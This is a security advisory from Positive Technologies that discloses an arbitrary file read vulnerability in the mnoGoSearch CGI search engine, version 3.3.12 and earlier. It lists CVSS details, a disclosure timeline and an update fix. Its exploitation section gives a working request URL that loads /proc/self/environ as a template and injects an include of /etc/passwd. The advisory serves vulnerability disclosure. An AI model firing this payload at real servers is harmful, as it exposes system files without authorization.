[PT-2013-17] Arbitrary Files Reading in mnoGoSearch

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(PT-2013-17) Positive Technologies Security Advisory 
    Arbitrary Files Reading in mnoGoSearch
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---[ Vulnerable software ]

mnoGoSearch 
Version: 3.3.12 and earlier

Application link: 
http://www.mnogosearch.org/

---[ Severity level ]

Severity level: High 
Impact:  Arbitrary Files Reading 
Access Vector:  Remote 
CVSS v2: 
Base Score: 7.8 
Vector: (AV:N/AC:L/Au:N/C:C/I:N/A:N)

CVE: not assigned

---[ Software description ]

mnoGoSearch is a universal Intranet and Internet search engine.

---[ Vulnerability description ]

Positive Technologies experts have detected an Arbitrary Files Reading vulnerability in mnoGoSearch.

Passing startup parameters via QUERY_STRING (http://tools.ietf.org/html/draft-robinson-www-interface-00#section-7) for 
an application running in CGI mode can be used to set page template path variable "d". Generating a template file on 
the server and specifying it in the variable "d" can result in Arbitrary Files Reading via <!INCLUDE CONTENT="URI"> 
template structure.   
---[ Exploitation example] 
The /proc/self/environ file, in which part of the template is formed through the PATH_INFO environment variable, can be 
used as a template. 
<!--top--> 
<!INCLUDE CONTENT="file:/etc/passwd"> 
<!--/top-->

http://host/cgi-bin/search.cgi/%0A%3C!--top--%3E%0A%3C!INCLUDE%20CONTENT=%22file:/etc/passwd%22%3E%0A%3C!--/top--%3E?-d/proc/self/environ

---[ How to fix ]

Update your software up to the latest version.

---[ Advisory status ]

15.02.2013 - Vendor gets vulnerability details 
01.03.2013 - Vendor releases fixed version and details 
05.03.2013 - Public disclosure

---[ Credits ]

The vulnerabilities has discovered by Sergey Bobrov, Positive Technologies Company

---[ References ]

http://en.securitylab.ru/lab/PT-2013-17
http://www.mnogosearch.org/bugs/index.php?id=4818

Reports on the vulnerabilities previously discovered by Positive Research:

http://ptsecurity.com/research/advisory/
http://en.securitylab.ru/lab/

---[ About Positive Technologies ]

Positive Technologies www.ptsecurity.com is among the key players in the IT security market in Russia.

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(MaxPatrol); providing IT security consulting services and technical support; development of the Securitylab leading 
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